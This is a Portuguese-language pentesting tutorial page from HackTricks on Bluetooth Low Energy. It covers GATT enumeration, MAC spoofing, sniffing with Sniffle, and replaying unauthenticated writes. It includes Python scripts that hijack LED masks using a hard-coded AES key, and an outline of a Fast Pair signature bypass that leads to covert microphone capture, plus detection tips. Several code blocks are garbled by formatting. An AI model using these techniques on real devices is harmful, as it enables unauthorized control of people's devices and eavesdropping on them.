Pentesting BLE - Bluetooth Low Energy
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Introdução
Disponível desde a especificação Bluetooth 4.0, o BLE usa apenas 40 canais, cobrindo a faixa de 2400 a 2483.5 MHz. Em contraste, o Bluetooth tradicional usa 79 canais nessa mesma faixa.
Dispositivos BLE comunicam-se enviando advertising packets (beacons); esses pacotes anunciam a existência do dispositivo BLE para outros dispositivos próximos. Esses beacons às vezes também enviam dados.
O dispositivo que escuta, também chamado de dispositivo central, pode responder a um advertising packet com um SCAN request enviado especificamente ao dispositivo anunciador. A response a esse scan usa a mesma estrutura do pacote de advertising, com informações adicionais que não couberam no advertising request inicial, como o nome completo do dispositivo.
.png)
O byte de preâmbulo sincroniza a frequência, enquanto o endereço de acesso de quatro bytes é um identificador de conexão, usado em cenários onde múltiplos dispositivos tentam estabelecer conexões nos mesmos canais. Em seguida, a Protocol Data Unit (PDU) contém os dados de advertising. Existem vários tipos de PDU; os mais utilizados são ADV_NONCONN_IND e ADV_IND. Dispositivos usam o tipo de PDU ADV_NONCONN_IND se não aceitarem conexões, transmitindo dados apenas no pacote de advertising. Dispositivos usam ADV_IND se permitirem conexões e pararem de enviar advertising packets assim que uma conexão for estabelecida.
GATT
O Generic Attribute Profile (GATT) define como o dispositivo deve formatar e transferir dados. Ao analisar a superfície de ataque de um dispositivo BLE, você frequentemente concentrará sua atenção no GATT (ou GATTs), pois é por meio dele que a funcionalidade do dispositivo é acionada e como os dados são armazenados, agrupados e modificados. O GATT lista as características, descritores e serviços de um dispositivo em uma tabela como valores de 16 ou 32 bits. Uma característica é um valor de dados enviado entre o dispositivo central e o periférico. Essas características podem ter descritores que fornecem informações adicionais sobre elas. Características são frequentemente agrupadas em serviços se estiverem relacionadas à execução de uma ação específica.
Enumeração
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool permite estabelecer uma conexão com outro dispositivo, listar as características desse dispositivo e ler e escrever seus atributos.
GATTTool pode iniciar um shell interativo com a opção -I:
Uso interativo e exemplos do GATTTool
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing e controle ativo de dispositivos BLE sem pareamento
Muitos periféricos BLE de baixo custo não aplicam pairing/bonding. Sem bonding, a Link Layer encryption nunca é ativada, então o tráfego ATT/GATT fica em cleartext. Um sniffer off-path pode acompanhar a conexão, decodificar operações GATT para obter os characteristic handles e values, e qualquer host próximo pode então conectar-se e replay those writes para controlar o dispositivo.
Sniffing com Sniffle (CC26x2/CC1352)
Hardware: um Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) regravado com o firmware Sniffle do NCC Group.
Instale o Sniffle e seu extcap do Wireshark no Linux:
Instale o extcap do Sniffle (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```Flash Sonoff com o firmware Sniffle (verifique se o seu dispositivo serial corresponde, por exemplo /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Capture no Wireshark via o Sniffle extcap e direcione rapidamente para state-changing writes filtrando:
_ws.col.info contains "Sent Write Command"
Isso destaca os ATT Write Commands do client; o handle e o value frequentemente mapeiam diretamente para ações do dispositivo (por exemplo, escrever 0x01 em uma característica de buzzer/alerta, 0x00 para parar).
Exemplos rápidos do Sniffle CLI:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Sniffer alternativo: o nRF Sniffer da Nordic para BLE + plugin do Wireshark também funciona. Em dongles Nordic pequenos/baratos você normalmente sobrescreve o bootloader USB para carregar o firmware do sniffer, então você ou mantém um dongle sniffer dedicado ou precisa de um J-Link/JTAG para restaurar o bootloader depois.
Controle ativo via GATT
Depois de identificar um handle de characteristic gravável e o valor a partir do tráfego sniffado, conecte-se como qualquer central e execute a mesma Write:
-
Com o Nordic nRF Connect for Desktop (BLE app):
-
Selecione o dongle nRF52/nRF52840, escaneie e conecte ao alvo.
-
Navegue pelo banco de dados GATT, localize a characteristic alvo (frequentemente tem um nome amigável, por exemplo, Alert Level).
-
Execute um Write com os bytes sniffados (por exemplo, 01 para acionar, 00 para parar).
-
Automatize no Windows com um dongle Nordic usando Python + blatann:
Exemplo de Write do blatann em Python (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)
print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)
print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### Estudo de caso: hijacking BLE LED masks (Shining Mask family)
Máscaras LED baratas, white‑labeled, controladas pelo app “Shining Mask” aceitam controle de escrita de qualquer central próxima sem pairing/bonding. O app conversa via GATT com uma característica de comando e uma característica de dados; os comandos são AES‑ECB criptografados com uma chave estática hard‑coded no app, enquanto os dados de imagem em massa não são criptografados.
Key UUIDs on these devices:
- Característica de escrita de comando: d44bc439-abfd-45a2-b575-925416129600
- Característica de notificação: d44bc439-abfd-45a2-b575-925416129601
- Característica de dados de imagem: d44bc439-abfd-45a2-b575-92541612960a
Unauthenticated GATT writes
- No pairing/bonding required. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
- Operações comuns observadas: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
Static-key AES command framing
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764
Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
Fluxo de upload de imagem
- Após um handshake DATS criptografado, raw chunks são gravados sem criptografia na data characteristic …960a.
- Formato do pacote: [len][seq][payload]. Empiricamente ~100 bytes de payload por pacote funciona de forma confiável.
Pseudo-código mínimo de upload de imagem
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to …960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)
- **Discovery:** Escanear anúncios BLE em busca do **service UUID 0xFE2C** (Google Fast Pair). Dispositivos em modo de pareamento tipicamente expõem um indicador de pareamento; mesmo fora do modo de pareamento o serviço Fast Pair pode responder via GATT.
- **Non-invasive probe (signature enforcement check):**
1. Via GATT **connect** ao serviço Fast Pair e **read the Model ID**.
2. **Write a Key-Based Pairing (KBP) value without a signature**. Se o periférico aceitar a escrita KBP sem assinatura, está suscetível ao signature-bypass (WhisperPair/CVE-2025-36911). Rejeição indica correção; falhas podem ser inconclusivas se já estiver pareado.
- **BLE → BR/EDR pivot:** Enviar um **KBP Request** e parsear a **encrypted response** para recuperar o **BR/EDR address** do alvo. Use uma classic bonding call (e.g., Android **`createBond(<BR/EDR address>)`**) para completar o pareamento não autorizado. Quando suportado, gravar um **Account Key** persiste a associação.
- **Post-bond microphone abuse:** Após o bonding, abrir **HFP** e iniciar **SCO audio** para obter um stream de microfone ao vivo para escuta/gravação (e.g., salvando M4A). Essa cadeia transforma a aceitação de um KBP sem assinatura em captura de áudio remota sem consentimento do usuário.
- **Hunt/detect:** Procurar por tráfego Fast Pair GATT seguido imediatamente por classic **bonding attempts to the BR/EDR address returned in KBP**, e por escritas KBP sem assinatura. Aplicar validação de assinatura em KBP e solicitar confirmação do usuário no pareamento quebra a cadeia.
## Notas operacionais
- Prefira Sonoff+Sniffle no Linux para saltos de canal robustos e seguimento de conexões. Mantenha um Nordic sniffer sobressalente como backup.
- Sem pareamento/bonding, qualquer atacante próximo pode observar escritas e replay/craft as suas próprias para características graváveis não autenticadas.
## Referências
- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporte o HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
>
> </details>


